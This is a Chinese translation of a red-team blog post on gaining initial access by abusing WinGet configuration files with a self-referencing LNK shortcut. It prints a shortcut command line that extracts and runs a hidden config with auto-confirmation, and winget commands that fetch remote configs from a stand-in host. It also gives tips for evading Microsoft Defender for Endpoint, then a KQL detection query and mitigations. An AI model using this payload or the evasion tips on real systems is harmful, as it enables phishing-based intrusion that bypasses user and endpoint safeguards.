利用WinGet期望状态配置实现初始访问

admin 2026-03-12 23:25:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用WinGet配置功能结合自引用LNK文件实现初始访问的攻击技术。该技术利用winget调用PowerShellDSC执行代码,绕过了MoTW和用户确认机制。文章详细描述了载荷构造过程及针对MDE的规避技巧,并提供了KQL检测规则。建议通过禁用MicrosoftStore或相关策略指令来缓解风险,强调防御者应禁用不必要的系统组件以缩小攻击面。 综合评分: 90 文章分类: 红队,渗透测试,实战经验,安全建设


cover_image

利用 WinGet 期望状态配置实现初始访问

MARC TANNER MARC TANNER

securitainment

2026年3月11日 18:15 中国香港

TL;DR: 虽然并非全新手法,但将自引用 LNK 文件与 winget 配置指令相结合,可以构成一种可行的初始访问载荷,适用于未禁用 Microsoft Store 的环境。

| 原文链接 | 作者 | | — | — | | https://blog.compass-security.com/2026/03/winget-desired-state-initial-access-established/ | MARC TANNER |

在为某个红队项目设计初始访问载荷时,我们通常从以下几个方面寻找思路:

  • 关联文件扩展名
  • 已注册的协议处理程序
  • 常见应用程序所使用的黑名单,如 Microsoft Edge 和 Outlook
  • 已知被威胁行为者滥用的文件类型

就在那时,我的同事 Sylvain 注意到 .winget扩展名被映射到了以下命令,双击即可执行:

winget.exe configure "%1" --wait

尽管 winget 的滥用潜力并非新鲜事,但防御安全社区似乎在很大程度上忽视了这一问题。其在上述危险文件阻止列表中的缺席便是佐证。原因可能在于其合法功能正被 Microsoft 积极推广,用于简化安装开发者依赖项等操作:

Microsoft 安装开发者依赖项的说明

从攻击安全的角度来看,该功能未将 Mark of the Web (MoTW) 纳入考量,且似乎也没有集成 SmartScreen,这为攻击者提供了便利。

快速介绍

那么 winget 配置功能究竟是什么?它构建于 (PowerShell) Desired State Configuration (DSC) 之上,后者是一个声明式的系统配置管理平台。如果你了解 Ansible,两者的理念类似:每个配置步骤理想情况下应具有幂等性,最终使系统达到一致的状态。

该配置组件依赖扩展功能,如有需要,可在低权限用户上下文中通过以下命令启用:

winget configure --enable

其默认资源支持访问环境变量和注册表,还支持归档解压、进程创建以及 PowerShell 脚本执行。这些能力已经绰绰有余,足以利用众多技术之一实现钓鱼持久化。下面是一个基础示例,该配置文件会下载并运行 Sysinternals 的 Process Explorer:

properties:

configurationVersion: 0.2.0

resources:

  • resource: PSDscResources/Script

directives:

description: Download ProcessExplorer.zip from remote URL

settings:

SetScript: “Invoke-WebRequest -Uri ‘https://download.sysinternals.com/files/ProcessExplorer.zip’ -OutFile ‘C:\Windows\Temp\ProcessExplorer.zip’ -UseBasicParsing”

GetScript: $false

TestScript: $false

  • resource: PSDscResources/Archive

directives:

description: Extract ProcessExplorer.zip

settings:

Path: C:WindowsTempProcessExplorer.zip

Destination: C:WindowsTempExtracted

Ensure: Present

  • resource: PSDscResources/WindowsProcess

directives:

description: Run ProcessExplorer.exe from extracted archive

settings:

Path: C:WindowsTempExtractedprocexp64.exe

Arguments: “-accepteula”

从攻击安全的视角看,winget 是利用合法系统配置功能来代理执行 PowerShell 的不错手段。底层的系统变更由 ConfigurationRemotingServer.exe进程完成。这与 SCCM 部署脚本的方式类似——SCCM 中脚本通过 CcmExec.exe执行,通常受到的审查较少。如有需要,所有引用的 PowerShell 资源会自动从 PowerShell Gallery 下载,并存储在 %LOCALAPPDATA%\Microsoft\WinGet\Configuration\Modules目录下。

从终端用户的角度来看,双击 .winget文件的效果如下所示:

打开 .winget文件时的标准行为。

在试图诱导钓鱼目标执行此类载荷时,存在以下几个不利因素:

  • 用户必须输入 Y(或 y,大小写不敏感) 来明确确认安装
  • 界面会显示大量令人困惑的文本信息
  • 由于 --wait命令行选项,控制台窗口在执行完毕后仍然保持打开

减少所需的用户交互

可以通过以下方式绕过显式用户输入:

  • 使用 --accept-configuration-agreements选项启动 winget
  • 通过其他方式提供确认输入,例如 echo y | winget ...

输出可以通过重定向到 >nul来屏蔽。

上述方案都要求对 winget 调用拥有直接控制权,这意味着配置文件无法单独使用,必须借助某个触发文件来执行。最直接的方式是使用 LNK 快捷方式。这样一来,交互式键盘输入的需求就被替换为一个与 MoTW 相关的安全警告对话框——终端用户应该更愿意点击接受。由于 winget 也支持应用托管在 Web 服务器上的配置,最初的尝试是使用一个执行以下命令的快捷方式:

winget configure https://yourhost.tld/burpisnotbeef.yml --accept-configuration-agreements

虽然包含在 ZIP 归档中的 LNK 文件可以通过 HTML smuggling 投递到目标端点,但随后的执行失败了。

此时我们决定尝试 Emeric Nasi 在其 Offensive X 演讲 Breach The Gate: Advanced Initial Access Craft 2024 中讨论的一种技术:

自引用 LNK,演示文稿

核心思路是构造一个 LNK 快捷方式,使其能够:

  1. 定位自身所在位置
  2. 使用 more命令提取附加在文件末尾的 winget 配置数据
  3. 展示一份诱饵文档以转移用户注意力
  4. 在后台以所需选项执行 winget

为了定位已投递的 LNK 文件,我们假定用户要么将 ZIP 归档解压到了下载文件夹,要么直接打开了归档文件。在后一种情况下,Windows 会将选中的文件解压到临时目录中,例如:%TMP%\2af79810-65c9-4d8d-8a63-5f003ab362c8_update.zip.2c8\update.lnk

将上述步骤 1-4 组合起来,可以得到如下快捷方式:

C:\Windows\system32\cmd.exe /c "(cd %TMP%\*update.zip* || cd %HOMEPATH%\Downloads\update) & (more +1349 *.lnk > %TMP%\conf.yml) && start https://yourhost.tld/decoy.pdf & winget configure --enable & (echo Y | winget configure -f %TMP%\conf.yml >nul)"

当时我觉得这种手法不可能逃过现代 EDR 的检测。

预测现代 EDR 系统的反应确实很难

对于 Microsoft Defender for Endpoint (MDE) 而言,LNK 文件的整体大小 (即包含附加数据后的大小) 需要尽量控制在较小范围内,这一点似乎很关键。否则会触发如下告警:

MDE 似乎不待见大体积的 LNK 文件

根据我有限的经验,以下是一些实用建议:

  • 快捷方式命令行应尽量精简,不超过约 250 个字符
  • 用别名 winget dsc代替 winget configure
  • 文件扩展名并不重要:可以用 .yml代替 .winget,也可以完全省略
  • 使用单个 PowerShell 脚本资源来加速配置过程
  • 优先使用映射到已编译 .NET cmdlet 的命令,或使用 [System.IO.Compression.ZipFile]::ExtractToDirectory等 API 代替 Expand-Archive,以避免创建额外的 powershell.exe进程
  • 避免使用 .pdf.lnk之类的双重文件扩展名
  • 如果在未启用扩展功能的系统上遇到问题,可添加短暂延迟,例如 timeout /t 1
  • 如果 echo Y | ...结构触发了不稳定的检测规则,可以改用 echo y > x & type x | ...等替代方式,或者施加轻度 DOSfuscation
  • 确保载荷不会匹配常见的 LNK 相关 YARA 规则
  • 在投递的 ZIP 文件中,使用嵌套文件夹结构添加更多良性文件
  • 如果使用独立 winget 方式,可在配置文件中 PowerShell 脚本的前 5 行填充与前置文本匹配的注释

旧版 PowerShell 脚本资源、基于类的新版 DSC 资源、核心模块 PSDesiredStateConfiguration 以及 winget 工具本身的源代码均可在 GitHub 上查阅。例如,从中可以发现 PowerShell 的执行使用了 System.Management.Automation,这意味着脚本将通过 AMSI 检测。

在已启用扩展功能的系统上,终端用户的体验如下:winget 命令在后台的最小化控制台窗口中运行。

此外,该技术还可以与其他 LNK 相关手法配合使用,在用户查看快捷方式属性时隐藏实际执行的命令。

检测

若要检查环境中该功能是否遭到 (滥) 用,可以尝试运行以下 KQL 查询来列出所有 winget configure 调用记录。需要注意的是,子字符串匹配必须以不区分大小写的方式执行:

DeviceProcessEvents
| where FileName =~ "winget.exe"
| where ProcessCommandLine has_any ("configure", "configuration", "dsc")

在受影响的机器上,可以通过以下命令列出已应用的配置及其来源:

winget configure list

此外,winget 会在 winget --logs所打开的目录中记录所有调用历史。默认记录内容包括执行时间和命令行参数。如果通过 winget settings打开配置文件并提高了日志详细程度,则完整的配置指令和各步骤的执行详情也会被记录。

缓解措施

如果完全不需要 winget 功能,可以通过禁用整个 Microsoft Store,或更具针对性地通过 EnableAppInstaller策略禁用 Windows Package Manager (winget) 来缓解攻击面。Windows Defender Application Control (WDAC) 等通用应用程序白名单方案也可以有效阻止执行。

如果确实需要使用 Windows 包管理器,可以通过 EnableWindowsPackageManagerConfiguration策略指令单独禁用本文所述的配置子命令。

根据禁用的是 Store 应用、包管理器 (winget) 还是其配置功能,会出现不同的错误提示。

如果出于种种原因无法实施上述措施,至少应考虑移除 .winget文件关联。虽然这无法阻止 LNK 相关的操作手法,但能消除通过简单双击执行配置文件的可能性,从而提高社会工程攻击的门槛。

总结

我们展示了一种可行的初始访问载荷方案,将两种已知技术组合运用:利用 winget 作为 Living Off The Land 二进制文件调用 PowerShell 脚本,并借助自引用 Windows 快捷方式实现载荷的投递与执行。

防御者应尽可能禁用不需要的 Windows 组件和功能 (如 Microsoft Store、Windows Package Manager (winget) 或其配置功能),以缩小系统的攻击面。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment MARC TANNER MARC TANNER《利用 WinGet 期望状态配置实现初始访问》

    评论:0   参与:  0